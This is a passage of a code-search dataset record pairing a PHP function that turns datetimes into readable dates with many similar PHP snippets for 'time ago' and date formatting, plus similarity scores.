} else {\n $years = $future['Y'] - $past['Y'];\n $months = $future['m'] + ((12 * $years) - $past['m']);\n\n if ($months >= 12) {\n $years = floor($months / 12);\n $months = $months - ($years * 12);\n }\n\n if ($future['m'] < $past['m'] && $future['Y'] - $past['Y'] == 1) {\n $years--;\n }\n }\n }\n\n if ($future['d'] >= $past['d']) {\n $days = $future['d'] - $past['d'];\n } else {\n $daysInPastMonth = date('t', $pastTime);\n $daysInFutureMonth = date('t', mktime(0, 0, 0, $future['m'] - 1, 1, $future['Y']));\n\n if (!$backwards) {\n $days = ($daysInPastMonth - $past['d']) + $future['d'];\n } else {\n $days = ($daysInFutureMonth - $past['d']) + $future['d'];\n }\n\n if ($future['m'] != $past['m']) {\n $months--;\n }\n }\n\n if ($months == 0 && $years >= 1 && $diff < ($years * 31536000)) {\n $months = 11;\n $years--;\n }\n\n if ($months >= 12) {\n $years = $years + 1;\n $months = $months - 12;\n }\n\n if ($days >= 7) {\n $weeks = floor($days / 7);\n $days = $days - ($weeks * 7);\n }\n } else {\n $years = $months = $weeks = 0;\n $days = floor($diff / 86400);\n\n $diff = $diff - ($days * 86400);\n\n $hours = floor($diff / 3600);\n $diff = $diff - ($hours * 3600);\n\n $minutes = floor($diff / 60);\n $diff = $diff - ($minutes * 60);\n $seconds = $diff;\n }\n $relativeDate = '';\n $diff = $futureTime - $pastTime;\n\n if ($diff > abs($now - strtotime($end))) {\n $relativeDate = sprintf('on %s', date($format, $inSeconds));\n } else {\n if ($years > 0) {\n // years and months and days\n $relativeDate .= ($relativeDate ? ', ' : '') . $years . ' ' . ($years == 1 ? 'year' : 'years');\n $relativeDate .= $months > 0 ? ($relativeDate ? ', ' : '') . $months . ' ' . ($months == 1 ? 'month' : 'months') : '';\n $relativeDate .= $weeks > 0 ? ($relativeDate ? ', ' : '') . $weeks . ' ' . ($weeks == 1 ? 'week' : 'weeks') : '';\n $relativeDate .= $days > 0 ? ($relativeDate ? ', ' : '') . $days . ' ' . ($days == 1 ? 'day' : 'days') : '';\n } elseif (abs($months) > 0) {\n // months, weeks and days\n $relativeDate .= ($relativeDate ? ', ' : '') . $months . ' ' . ($months == 1 ? 'month' : 'months');\n $relativeDate .= $weeks > 0 ? ($relativeDate ? ', ' : '') . $weeks . ' ' . ($weeks == 1 ? 'week' : 'weeks') : '';\n $relativeDate .= $days > 0 ? ($relativeDate ? ', ' : '') . $days . ' ' . ($days == 1 ? 'day' : 'days') : '';\n } elseif (abs($weeks) > 0) {\n // weeks and days\n $relativeDate .= ($relativeDate ? ', ' : '') . $weeks . ' ' . ($weeks == 1 ? 'week' : 'weeks');\n $relativeDate .= $days > 0 ? ($relativeDate ? ', ' : '') . $days . ' ' . ($days == 1 ? 'day' : 'days') : '';\n } elseif (abs($days) > 0) {\n // days and hours\n $relativeDate .= ($relativeDate ? ', ' : '') . $days . ' ' . ($days == 1 ? 'day' : 'days');\n $relativeDate .= $hours > 0 ? ($relativeDate ? ', ' : '') . $hours . ' ' . ($hours == 1 ? 'hour' : 'hours') : '';\n } elseif (abs($hours) > 0) {\n // hours and minutes\n $relativeDate .= ($relativeDate ? ', ' : '') . $hours . ' ' . ($hours == 1 ? 'hour' : 'hours');\n $relativeDate .= $minutes > 0 ? ($relativeDate ? ', ' : '') . $minutes . ' ' . ($minutes == 1 ? 'minute' : 'minutes') : '';\n } elseif (abs($minutes) > 0) {\n // minutes only\n $relativeDate .= ($relativeDate ? ', ' : '') . $minutes . ' ' . ($minutes == 1 ? 'minute' : 'minutes');\n } else {\n // seconds only\n $relativeDate .= ($relativeDate ? ', ' : '') . $seconds . ' ' . ($seconds == 1 ? 'second' : 'seconds');\n }\n\n if (!$backwards) {\n $relativeDate = sprintf('%s ago', $relativeDate);\n }\n }\n return $relativeDate;\n }", "public static function timeago($timestamp)\n {\n if (intval($timestamp) == 0) {\n return 'n/a';\n }\n\n $difference = time() - intval($timestamp);\n\n $periods = array(\n \"second\",\n \"minute\",\n \"hour\",\n \"day\",\n \"week\",\n \"month\",\n \"years\",\n \"decade\"\n );\n\n $lengths = array(\n \"60\",\n \"60\",\n \"24\",\n \"7\",\n \"4.35\",\n \"12\",\n \"10\"\n );\n\n for ($j = 0; $difference >= $lengths[$j]; $j++) {\n $difference /= $lengths[$j];\n }\n\n $difference = round($difference);\n if ($difference != 1) {\n $periods[$j] .= \"s\";\n }\n\n $text = \"$difference $periods[$j] ago\";\n return $text;\n }", "function time_since($since) {\n $chunks = array(\n array(60 * 60 * 24 * 365 , 'year'),\n array(60 * 60 * 24 * 30 , 'month'),\n array(60 * 60 * 24 * 7, 'week'),\n array(60 * 60 * 24 , 'day'),\n array(60 * 60 , 'hour'),\n array(60 , 'min'),\n array(1 , 'sec')\n );\n\n for ($i = 0, $j = count($chunks); $i < $j; $i++) {\n $seconds = $chunks[$i][0];\n $name = $chunks[$i][1];\n if (($count = floor($since / $seconds)) != 0) {\n break;\n }\n }\n\n $print = ($count == 1) ? '1 '.$name : \"$count {$name}s\";\n return $print;\n }", "function timeLeft($target)\n{\n\t$return_value = \"\";\n\t$diff = $target['endTime']->diff($target['timeStamp']);\n\t$doPlural = function($nb,$str){return $nb>1?$str.'s':$str;}; // adds plurals\n\n\t$format = array();\n\tif($diff->y !== 0) {\n\t\t$format[] = \"%y \".$doPlural($diff->y, \"year\");\n\t}\n\tif($diff->m !== 0) {\n\t\t$format[] = \"%m \".$doPlural($diff->m, \"month\");\n\t}\n\tif($diff->d !== 0) {\n\t\t$format[] = \"%d \".$doPlural($diff->d, \"day\");\n\t}\n\tif($diff->h !== 0) {\n\t\t$format[] = \"%h \".$doPlural($diff->h, \"hour\");\n\t}\n\tif($diff->i !== 0) {\n\t\t$format[] = \"%i \".$doPlural($diff->i, \"minute\");\n\t}\n\tif($diff->s !== 0) {\n\t\tif(!count($format)) {\n\t\t\treturn \"less than a minute ago\";\n\t\t} else {\n\t\t\t$format[] = \"%s \".$doPlural($diff->s, \"second\");\n\t\t}\n\t}\n\n\t// Prepend 'since ' or whatever you like from the calling function\n\treturn $diff->format(implode (\" \",$format));\n\n}", "public function GetLastVisitDay($date)\n {\n $difftext = \"\";\n $createdday = strtotime($date);\n \n if($createdday){\n $today = time(); \n $datediff = abs($today - $createdday); \n\n $years = floor($datediff / (365*60*60*24)); \n $months = floor(($datediff - $years * 365*60*60*24) / (30*60*60*24)); \n $days = floor(($datediff - $years * 365*60*60*24 - $months*30*60*60*24)/ (60*60*24)); \n $hours = floor($datediff/3600); \n $minutes = floor($datediff/60); \n $seconds = floor($datediff); \n //year checker \n if($difftext==\"\") \n { \n if($years>1) \n $difftext = $years.\" years ago\"; \n elseif($years==1) \n $difftext = $years.\" year ago\"; \n } \n //month checker \n if($difftext==\"\") \n { \n if($months>1) \n $difftext = $months.\" months ago\"; \n elseif($months==1) \n $difftext = $months.\" month ago\"; \n } \n //month checker \n if($difftext==\"\") \n { \n if($days>1) \n $difftext = $days.\" days ago\"; \n elseif($days==1) \n $difftext = \"Yesterday\"; \n } \n //hour checker \n if($difftext==\"\") \n { \n if($hours>1) \n $difftext = $hours.\" hours ago\"; \n elseif($hours==1) \n $difftext = $hours.\" hour ago\"; \n } \n //minutes checker \n if($difftext==\"\") \n { \n if($minutes>1) \n $difftext = $minutes.\" minutes ago\"; \n elseif($minutes==1) \n $difftext = $minutes.\" minute ago\"; \n } \n //seconds checker \n if($difftext==\"\") \n { \n if($seconds>1) \n $difftext = $seconds.\" seconds ago\"; \n elseif($seconds==1) \n $difftext = $seconds.\" second ago\"; \n } \n }\n \n return $difftext;\n }", "public function when()\n {\n return $this->created_at->diffForHumans();\n }", "function get_timeago( $ptime )\n{\n $estimate_time = time() - $ptime;\n\n if( $estimate_time < 1 )\n {\n return 'pubblicato meno di 1 secondo fa';\n }\n\n $condition = array(\n 12 * 30 * 24 * 60 * 60 => 'anno',\n 30 * 24 * 60 * 60 => 'mese',\n 24 * 60 * 60 => 'giorno',\n 60 * 60 => 'ora',\n 60 => 'minuto',\n 1 => 'secondo'\n );\n\n foreach( $condition as $secs => $str )\n {\n $d = $estimate_time / $secs;\n\n if( $d >= 1 )\n {\n $r = round( $d );\n\n if ($str == 'ora') {\n return 'pubblicato circa ' . $r . ' ' . ( $r > 1 ? substr($str, 0, -1).'e' : $str ) . ' fa';\n } else {\n return 'pubblicato circa ' . $r . ' ' . ( $r > 1 ? substr($str, 0, -1).'i' : $str ) . ' fa';\n }\n \n }\n }\n}", "function lepetitfleur_posted_meta(){\n $posted_on = human_time_diff( get_the_time('U'), current_time('timestamp') );\n\n\t$categories = get_the_category();\n\t$seperator = ', ';\n\t$output = '';\n\t$i = 1;\n\n\tif( !empty($categories) ):\n foreach( $categories as $category ):\n if( $i> 1 ): $output .= $seperator; endif;\n $output .= '<a href=\"' . esc_url( get_category_link( $category->term_id ) ) . '\" alt=\"' . esc_attr('View all posts in%s', $category->name ) .'\">' . esc_html( $category->name ) . '</a>';\n\t\t\t$i++;\n\t\tendforeach;\n\tendif;\n\n\treturn '<span class=\"posted-on\">Posted <a href=\"'. esc_url( get_permalink() ) .'\">' . $posted_on . '</a> ago </span> / <span class=\"posted-in\">' . $output . '</span>';\n}", "static public function getTimeAgo($mxdTimestamp, $intHourLimit = 24, $strAltFormat = 'M d, Y @ g:ia', $blnAbbreviate = false, $blnFormatFuture = true) {\n\t\t\tif (!is_numeric($intTimestamp = $mxdTimestamp)) {\n\t\t\t\tif (($intTimestamp = strtotime($mxdTimestamp)) < 1) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif (($intSeconds = time() - $intTimestamp) < 0 && $blnFormatFuture) {\n\t\t\t\t$intSeconds = abs($intSeconds);\n\t\t\t\t$blnInFuture = true;\n\t\t\t}\n\t\t\t$intHours = floor($intSeconds / 3600);\n\t\t\t\n\t\t\tif ($intHours >= 0 && $intHours < $intHourLimit) {\n\t\t\t\tif (!$intHours) {\n\t\t\t\t\t$intMinutes = floor($intSeconds / 60);\n\t\t\t\t\t\n\t\t\t\t\tif (!$intMinutes) {\n\t\t\t\t\t\tif ($intSeconds == 0) {\n\t\t\t\t\t\t\treturn 'just now';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$intAmount = $intSeconds;\n\t\t\t\t\t\t$strUnit = $blnAbbreviate ? 'sec' : 'second';\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$intAmount = $intMinutes;\n\t\t\t\t\t\t$strUnit = $blnAbbreviate ? 'min' : 'minute';\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$intAmount = $intHours;\n\t\t\t\t\t$strUnit = $blnAbbreviate ? 'hr' : 'hour';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!empty($blnInFuture)) {\n\t\t\t\t\treturn sprintf('in %d %s%s', $intAmount, $strUnit, ($intAmount != 1 ? 's' : ''));\n\t\t\t\t} else {\n\t\t\t\t\treturn sprintf('%d %s%s ago', $intAmount, $strUnit, ($intAmount != 1 ? 's' : ''));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$objInstance = self::getInstance();\n\t\t\t\treturn 'on ' . date($strAltFormat, $intTimestamp + ($objInstance->intClientOffset - $objInstance->intSystemOffset));\n\t\t\t}\n\t\t}", "function col_timecreated($values) {\n if ($values->timecreated > 0) {\n return userdate($values->timecreated);\n }\n\n return '';\n }", "static function timeElapsed($timestamp)\n {\n $d1 = new DateTime($timestamp);\n $d2 = new DateTime();\n $interval = $d1->diff($d2);\n $totalDiff = abs(time() - strtotime($timestamp)); // diff in seconds\n if ($totalDiff < 60) return \"seconds ago\";\n if ($totalDiff >= 60 && $totalDiff < 3600) return $interval->i . \" minutes ago\";\n if ($totalDiff >= 3600 && $totalDiff < 86400) return $interval->h . \" hours ago\";\n if ($totalDiff >= 86400) return $interval->d . \" days ago\";\n }", "public function timeSincePublished()\n {\n return$this->created_at->diffForHumans();\n }", "public static function get24HoursAgo(){\n return date('Y-m-d H:i:s',strtotime(\"-1 days\"));\n }", "function timeSince($since) {\n $chunks = array(\n array(60 * 60 * 24 * 365 , 'year'),\n array(60 * 60 * 24 * 30 , 'month'),\n array(60 * 60 * 24 * 7, 'week'),\n array(60 * 60 * 24 , 'day'),\n array(60 * 60 , 'hour'),\n array(60 , 'min'),\n array(1 , 'sec')\n );\n\n for ($i = 0, $j = count($chunks); $i < $j; $i++) {\n $seconds = $chunks[$i][0];\n $name = $chunks[$i][1];\n if (($count = floor($since / $seconds)) != 0) {\n break;\n }\n }\n\n $print = ($count == 1) ? '1 '.$name : \"$count {$name}s\";\n return $print;\n }", "public static function getSmartVerbPhrasePast($dateTimeToProcess, $verb) {\n\t\t$r = '';\n\t\t$now = qdat::getCurrentDateAndTime();\n\t\t$americanNiceDate = qdat::getNiceDate($dateTimeToProcess);\n\t\t$seconds = qdat::getDurationInSeconds($dateTimeToProcess, $now);\n\t\tif($seconds < 60) {\n\t\t\t$amountOfSecondsPhrase = qstr::smartPlural($seconds, 'seconds');\n\t\t\tif(qstr::AreEqual($amountOfSecondsPhrase, '0 seconds')) {\n\t\t\t\t$amountOfSecondsPhrase = '1 second';\n\t\t\t}\n\t\t\t$r .= '<span class=\"justAdded\">' . qstr::hardenSpaces($verb . ' ' . $amountOfSecondsPhrase . ' ago</span>');\n\t\t} else {\n\t\t\t//within an hour ago\n\t\t\tif($seconds < 60 * 60) {\n\t\t\t\t$minutes = qdat::getSecondsToWholeMinutes($seconds);\n\t\t\t\t$r .= '<span class=\"recentlyAdded\">' . qstr::hardenSpaces($verb . ' ' . qstr::smartPlural($minutes, 'minutes')) . ' ago</span>';\n\t\t\t} else {\n\t\t\t\t//within the last 24 hours\n\t\t\t\tif($seconds < 3600 * 24) {\n\t\t\t\t\t$hours = qdat::getSecondsToWholeHours($seconds);\n\t\t\t\t\t$r .= '<span class=\"recentlyAdded\">' . $verb . ' ' . qstr::smartPlural($hours, 'hours') . ' ago</span>';\n\t\t\t\t} else {\n\t\t\t\t\t//within the last 7 days\n\t\t\t\t\tif($seconds < (3600 * 24) * 7) {\n\t\t\t\t\t\t$days = qdat::getSecondsToWholeDays($seconds);\n\t\t\t\t\t\t$r .= $verb . ' ' . qdat::smartDaysAgo($days);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t//it was so long ago, just display the date\n\t\t\t\t\t\t$r .= $verb . ' on ' . $americanNiceDate;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//hackfix occasional space before issue, e.g.: <span class=\"recentlyAdded\"> 2&nbsp;hours ago</span>before\n\t\t$r = str_replace('<span class=\"recentlyAdded\">&nbsp;', '<span class=\"recentlyAdded\">', $r);\n\t\treturn $r;\n\t}", "function timeago($referencedate=0, $timepointer='', $measureby=''){\n\t\t\n\t\tif($timepointer == '') $timepointer = time();\n\t\t$Raw = $timepointer-$referencedate;## Raw time difference\n\t\t$Clean = abs($Raw);\n\t\t\n\t\tif($Clean > 60*60*24*30){\n\t\t\tif(date(\"Y\")==date(\"Y\",$referencedate)){\n\t\t\t\t$strTime = date(\"n月j日\",$referencedate);\n\t\t\t\t}else{\n\t\t\t\t$strTime = date(\"Y年n月j日\",$referencedate);\n\t\t\t}\n\t\t\treturn $strTime;\n\t\t}\n\t\t\n\t\t$calcNum = array(\n\t\tarray('s', 60),\n\t\tarray('m', 60*60),\n\t\tarray('h', 60*60*60),\n\t\tarray('d', 60*60*60*24),\n\t\tarray('mo', 60*60*60*24*30)\n\t\t);\n\t\t## Used for calculating\n\t\t$calc = array(\n\t\t's' => array(1, '秒'), \n\t\t'm' => array(60, '分鐘'), \n\t\t'h' => array(60*60, '小時'), \n\t\t'd' => array(60*60*24, '日'), \n\t\t'mo' => array(60*60*24*30, '個月')\n\t\t);\n\t\t\n\t\tif($measureby == ''){\n\t\t\t$usemeasure = 's';## Default unit\n\t\t\tfor($i=0; $i<count($calcNum); $i++){\n\t\t\t\tif($Clean <= $calcNum[$i][1]){\n\t\t\t\t\t$usemeasure = $calcNum[$i][0];\n\t\t\t\t\t$i = count($calcNum);\n\t\t\t\t}\n\t\t\t}\n\t\t\t}else{\n\t\t\t$usemeasure = $measureby;## Used if a unit is provided\n\t\t}\n\t\t\n\t\t$datedifference = floor($Clean/$calc[$usemeasure][0]);\n\t\t\n\t\tif($referencedate != 0){\n\t\t\treturn $datedifference . '' . $calc[$usemeasure][1] . '前';\n\t\t\t}else{\n\t\t\treturn 'No Time';\n\t\t}\n\t}", "public function getUpdatedForHumans() : string{\n return $this->updated_at->diffForHumans(now());\n }", "function time_ago_specific($date, $from = \"now\")\r\n{\r\n $datetime = strtotime($from);\r\n $date2 = strtotime(\"\" . $date);\r\n $holdtotsec = $datetime - $date2;\r\n $holdtotmin = ($datetime - $date2) / 60;\r\n $holdtothr = ($datetime - $date2) / 3600;\r\n $holdtotday = intval(($datetime - $date2) / 86400);\r\n $str = '';\r\n if (0 < $holdtotday) {\r\n $str .= $holdtotday . \"d \";\r\n }\r\n $holdhr = intval($holdtothr - $holdtotday * 24);\r\n $str .= $holdhr . \"h \";\r\n $holdmr = intval($holdtotmin - ($holdhr * 60 + $holdtotday * 1440));\r\n $str .= $holdmr . \"m\";\r\n return $str;\r\n}", "public function getDateCreated()\n\t{\n\t\t$date = new Precurio_Date($this->date_created);\n\t\tif($date->isYesterday()) return 'Yesterday';\n\t\tif($date->isToday()) return 'Today';\n\t\t\n\t\treturn $date->get(Precurio_Date::DATE_SHORT);\n\t}", "function time_ago($time, $units = 1) {\n //add mysql-server time difference to time;\n $time_diff = 0;\n $time = strtotime(\"+$time_diff hours\", strtotime($time));\n $now = time(); //current time\n return strtolower(timespan($time, $now, $units)). ' ago';\n}", "function time_ago($time, $units = 1) {\n //add mysql-server time difference to time;\n $time_diff = 0;\n $time = strtotime(\"+$time_diff hours\", strtotime($time));\n $now = time(); //current time\n return strtolower(timespan($time, $now, $units)). ' ago';\n}", "public static function get_fuzzy_period_ago( $datetime )\n {\n if( is_null( $datetime ) || !is_string( $datetime ) ) return 'never';\n \n $interval = self::get_interval( $datetime );\n \n if( 0 != $interval->invert )\n {\n $result = 'in the future';\n }\n else if( 1 > $interval->i && 0 == $interval->h && 0 == $interval->days )\n {\n $result = 'seconds ago';\n }\n else if( 1 > $interval->h && 0 == $interval->days )\n {\n $result = 'minutes ago';\n }\n else if( 1 > $interval->d && 0 == $interval->days )\n {\n $result = 'hours ago';\n }\n else if( 1 == $interval->days )\n {\n $result = 'yesterday';\n }\n else if( 7 > $interval->days )\n {\n $datetime_obj = self::get_datetime_object( $datetime );\n $result = 'last '.$datetime_obj->format( 'l' );\n }\n else if( 1 > $interval->m && 0 == $interval->y )\n {\n $result = 'weeks ago';\n }\n else if( 1 > $interval->y )\n {\n $datetime_obj = self::get_datetime_object( $datetime );\n $result = 'last '.$datetime_obj->format( 'F' );\n }\n else\n {\n $result = 'years ago';\n }\n\n return $result;\n }", "public function time_diff($date, $ago_str=1, $show_date){ \t\t\n\t\t$s = time() - strtotime($date);\n\t\tif($s >= 1) {\n\t\t$td = \"$s sec\";\n\t\t} \n\t\tif($s > 59){ \n\t\t\t$m = (int)($s/60); \n\t\t\t$s = $s-($m*60); // sec left over \n\t\t\t$td = \"$m min\"; if($s>1) $td .= \"s\"; \n\t\t} \n\t\tif($m > 59){ \n\t\t\t$hr = (int)($m/60); \n\t\t\t$m = $m-($hr*60); // min left over \n\t\t\t$td = \"$hr hr\"; if($hr>1) $td .= \"s\"; \n\t\t\t\n\t\t} \n\t\tif($hr>23){\t\t\n\t\t\t$d = (int)($hr/24); \n\t\t\t$hr = $hr-($d*24); // hr left over \n\t\t\t$td = \"$d day\"; if($d>1) $td .= \"s\"; \n\t\t\t\n\t\t} \n\t\t\n\t\tif($d > 30){\t\t\n\t\t\t$m = (int)($d/30);\n\t\t\t$td = \"$m month\"; if($m>1) $td .= \"s\"; \n\t\t\t\n\t\t} \n\t\tif($ago_str == 1){\n\t\t\t$td .= ($td==\"now\")? \"\":\" ago\"; // in this example \"ago\" \n\t\t}\n\t\t// show the date\n\t\tif($d > 1 && $show_date == '1'){\n\t\t\treturn date('jS M, Y', strtotime($date));\n\t\t}\n\t\tif(trim($td) == 'ago')\treturn '1 sec ago';\n\t\t\n\t\treturn $td;\t\t\n }" ]
[ "0.760384", "0.757915", "0.7433293", "0.70427257", "0.7009523", "0.69863296", "0.6900491", "0.6895896", "0.68873906", "0.68671644", "0.68581736", "0.68471974", "0.6806924", "0.6783667", "0.670575", "0.6685871", "0.66751593", "0.6669756", "0.6666165", "0.66497606", "0.66239446", "0.6588359", "0.65810573", "0.65762985", "0.65715826", "0.6546952", "0.6544141", "0.65099615", "0.6484992", "0.64761895", "0.64563835", "0.6456193", "0.6445138", "0.64443934", "0.6434473", "0.6418084", "0.6416583", "0.6404267", "0.63986623", "0.636372", "0.6333978", "0.6323297", "0.63168764", "0.63110185", "0.6277384", "0.6274243", "0.6258793", "0.6246678", "0.62279135", "0.6224725", "0.6217391", "0.62171406", "0.61965567", "0.61915135", "0.61829424", "0.6181133", "0.6170962", "0.6160833", "0.61446476", "0.61403364", "0.613291", "0.6118333", "0.61111236", "0.6110484", "0.60923696", "0.6079395", "0.6072285", "0.6063407", "0.60563654", "0.60552716", "0.60337555", "0.6025528", "0.60124606", "0.60112506", "0.60093236", "0.60091853", "0.6008953", "0.6004021", "0.60001975", "0.59918815", "0.5990684", "0.59905005", "0.59811616", "0.5978268", "0.597627", "0.5961853", "0.5950807", "0.59357166", "0.5894086", "0.589367", "0.58879226", "0.5882248", "0.5874729", "0.5871306", "0.5867689", "0.5862574", "0.5858879", "0.5858879", "0.585847", "0.5856551" ]
0.6841889
12
output datetime to readable date (i.e. 20130504 to May 4, 2013)
function iu_readable_date($datetime, $format = 'normal'){ $date = New DateTime($datetime); if($format == 'normal'){ $updatedDate = date_format($date,'F j, Y'); //January 15, 2015 }else if($format == 'short'){ $updatedDate = date_format($date,'M j, Y'); // Jan 15, 2015 }else if($format == 'numbered'){ $updatedDate = date_format($date,'n/j/y'); // 01/15/15 } return $updatedDate; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function toDateString()\n {\n return $this->format('Y-m-d');\n }", "public function formatDate() {\n\t\t\tif(!empty($this->review_date)) {\n\t\t\t\t$date = new dateTime($this->review_date);\n\t\t\t\treturn $date->format('M jS, Y - H:i');\n\t\t\t}\n\t\t}", "public function date_as_string ()\n {\n $f = $this->parent_folder ();\n return $f->format_date ($this->date);\n }", "public function toDateString()\n {\n return $this->toLocalizedString('yyyy-MM-dd');\n }", "public static function date(\\DateTime $date): string\n {\n return $date->format('Ymd\\THis');\n }", "public function format()\n {\n return sprintf('%d-%02d-%02d', $this->getYear(), $this->getMonth(), $this->getDay());\n }", "public function date() {\n\n\t\t\t$output = '';\n\n\t\t\t$output['date'] = mysql2date(get_option('date_format'), $this->post->post_date);\n\t\t\t$output['time'] = mysql2date(get_option('time_format'), $this->post->post_date);\n\t\t\t$output['posted'] = sprintf(__('Posted %1$s at %2$s', 'theme translation'), mysql2date(get_option('date_format'), $this->post->post_date), mysql2date(get_option('time_format'), $this->post->post_date));\n\t\t\t$output['datetime'] = mysql2date('c', $this->post->post_date);\n\n\t\t\treturn $output;\n\t\t}", "public function display_date(){\n\t\t$display = date('d-m-Y');\n\t\treturn $display;\n\t}", "public function getDateFormated(){\n\t\treturn date(\"d/m/Y à\\s H:i\", strtotime($this->data));\n\t}", "public function getDateFormatee() {\n return date('d/m/Y', strtotime($this->date));\n }", "public static function getShortPrintableDatetime(): string\n {\n return (new DateTime())->format(\"mdHisv\");\n }", "public static function getPrintableDatetime(): string\n {\n return (new DateTime())->format(\"Y-m-d\\TH:i:s.vP\");\n }", "public function toFormattedDateString()\n {\n return $this->format('M j, Y');\n }", "public function getDate() : string\r\n {\r\n return $this->format('Y-m-d');\r\n }", "public function dateTimeFormat();", "private function date()\n {\n $pubDate = $this->article->Journal->JournalIssue->PubDate;\n \n if (isset($pubDate->MedlineDate)) {\n $date = (string)$pubDate->MedlineDate;\n } else {\n $date = implode(' ', (array)$pubDate);\n }\n \n return $date;\n }", "public function to_s() {\n $format = \"%04d-%02d-%02d\";\n\n return sprintf($format, $this->year, $this->month, $this->day);\n }", "public function toDayDateTimeString()\n {\n return $this->format('D, M j, Y g:i A');\n }", "public function convertDateToHTML($_date) {\n\t\tif(ereg(\"^([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}).*$\",\n\t\t\t$_date, $_arrdt) !== false) {\n\t\t\treturn sprintf(\"%02.2d-%02.2d-%04.4d\",\n\t\t\t\t$_arrdt[3], $_arrdt[2], $_arrdt[1]);\n\t\t\t}\n\t\treturn $_date;\n\t}", "public function display_date(){\n\t\t$display = date('d/m/Y');\n\t\treturn $display;\n\t}", "private function getDate(): String\n {\n date_default_timezone_set(\"Europe/Moscow\");\n return (new DateTime())->format('d-m-Y H:i');\n }", "function DisplayDate($date) {\n\n\t$output = explode (\"-\",$date);\n\t$output = mktime(12,0,0,$output[1],$output[2],$output[0]);\n\treturn $output;\n\n}", "public function toDateTimeString()\n {\n return $this->format('Y-m-d H:i:s');\n }", "public function getDateAdmin()\n {\n return '<strong>' . $this->created_at->format(Config::get('settings.date_format')) . '</strong><br>' . $this->created_at->format(Config::get('settings.time_format'));\n }", "function buildDateTimeString()\n{\n return buildDateString(getdate()).' '.buildTimeString(localtime(time() , 1));\n}", "function formatDate($date){\r\n\t\t\t\t$dateObject = date_create($date);\r\n\t\t\t\treturn date_format($dateObject, \"j F Y\");\r\n\t\t\t}", "function shwThaiDate($dte) { //where $dte is a Date format\r\n\t\treturn date(\"d-m-Y\",strtotime($dte));//formulate date format for displaying\r\n\t}", "public function toSite()\n {\n return $this->format(Config::get('settings.site_datetime_format'));\n }", "public function __toString()\r\n\t{\r\n\t\treturn $this->format('l, jS F, Y');\r\n\t}", "public function __toString()\n {\n return $this->date;\n }", "function formatDate()\n\t{\n\t\techo date(\"m/d/y\");\n\t}", "protected function dt(){\n return date('Y-m-d\\TH:i:s');\n }", "public static function formatAtomDate($value) {\n\t\t$date = date_create($value, new DateTimeZone(JFactory::getConfig()->get('offset')));\n\t\treturn $date->format(\"Y-m-d\");\n\t}", "function format_short_date($val) {\n return format_date($val, '%e %b %y %H:%M:%S');\n }", "public function dateSend()\n {\n if ($this->time) {\n return $this->time->format('m/d/Y');\n }\n }", "public function formatDate($date = null);", "protected function makeDateHeaderString() {\n\t\t$timeZone = date(\"Z\");\n\t\t$op = ($timeZone[0] == '-') ? '-' : '+';\n\t\t$timeZone = abs($timeZone);\n\t\t$timeZone = floor($timeZone / 3600) * 100 + ($timeZone % 3600) / 60;\n\t\t$dateString = sprintf(\"%s %s%04d\", date(\"D, j M Y H:i:s\"), $op, $timeZone);\n\t\treturn \"Date: \" . $dateString . $this->_endString;\n\t}", "public static function date_to_string($value)\n\t{\n\t\tif (!preg_match('/(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)/', $value, $m)) return '';\n\t\treturn date(conf('format.date'), mktime(0, 0, 0, $m[2], $m[3], $m[1]));\n\t}", "public static function formatDateYmd2Dmy($date){\n\t\t$newdate = new DateTime($date);\n\t\treturn $newdate->format('d/m/Y');\n\t}", "protected function _format_date($date)\n {\n $dateTime = new DateTime($date);\n return $dateTime->format(\"Y-m-d H:i:s\");\n }", "function getFormattedCreatedDate()\r\n {\r\n return $this->created_at->format('d/m/y');\r\n }", "public function date();", "public function date();", "public function __invoke($datetime, $dateOnly = false)\n {\n if (empty($datetime) || '0000-00-00 00:00:00' == $datetime) {\n return '---';\n }\n\n if (!$datetime instanceof \\DateTime) {\n $datetime = new \\DateTime($datetime);\n }\n\n if ($dateOnly) {\n $friendly = $datetime->format('l jS F Y');\n } else {\n $friendly = $datetime->format('g:ia \\o\\n l jS F Y');\n }\n\n return $friendly;\n }", "public function __toString() {\n return $this->format('Y-m-d H:i');\n }", "function date_to_str ( $indate, $format=\"\", $show_weekday=true, $short_months=false, $server_time=\"\" ) {\n\tglobal $DATE_FORMAT, $TZ_OFFSET;\n\n\tif ( strlen ( $indate ) == 0 ) {\n\t\t$indate = date ( \"Ymd\" );\n\t}\n\n\t$newdate = $indate;\n\tif ( $server_time != \"\" && $server_time >= 0 ) {\n\t\t$y = substr ( $indate, 0, 4 );\n\t\t$m = substr ( $indate, 4, 2 );\n\t\t$d = substr ( $indate, 6, 2 );\n\t\tif ( $server_time + $TZ_OFFSET * 10000 > 240000 ) {\n\t\t\t$newdate = date ( \"Ymd\", mktime ( 3, 0, 0, $m, $d + 1, $y ) );\n\t\t} else if ( $server_time + $TZ_OFFSET * 10000 < 0 ) {\n\t\t\t$newdate = date ( \"Ymd\", mktime ( 3, 0, 0, $m, $d - 1, $y ) );\n\t\t}\n\t}\n\n\t// if they have not set a preference yet...\n\tif ( $DATE_FORMAT == \"\" )\n\t$DATE_FORMAT = \"__month__ __dd__, __yyyy__\";\n\n\tif ( empty ( $format ) )\n\t$format = $DATE_FORMAT;\n\n\t$y = (int) ( $newdate / 10000 );\n\t$m = (int) ( $newdate / 100 ) % 100;\n\t$d = $newdate % 100;\n\t$date = mktime ( 3, 0, 0, $m, $d, $y );\n\t$wday = strftime ( \"%w\", $date );\n\n\tif ( $short_months ) {\n\t\t$weekday = weekday_short_name ( $wday );\n\t\t$month = month_short_name ( $m - 1 );\n\t} else {\n\t\t$weekday = weekday_name ( $wday );\n\t\t$month = month_name ( $m - 1 );\n\t}\n\t$yyyy = $y;\n\t$yy = sprintf ( \"%02d\", $y %= 100 );\n\n\t$ret = $format;\n\t$ret = str_replace ( \"__yyyy__\", $yyyy, $ret );\n\t$ret 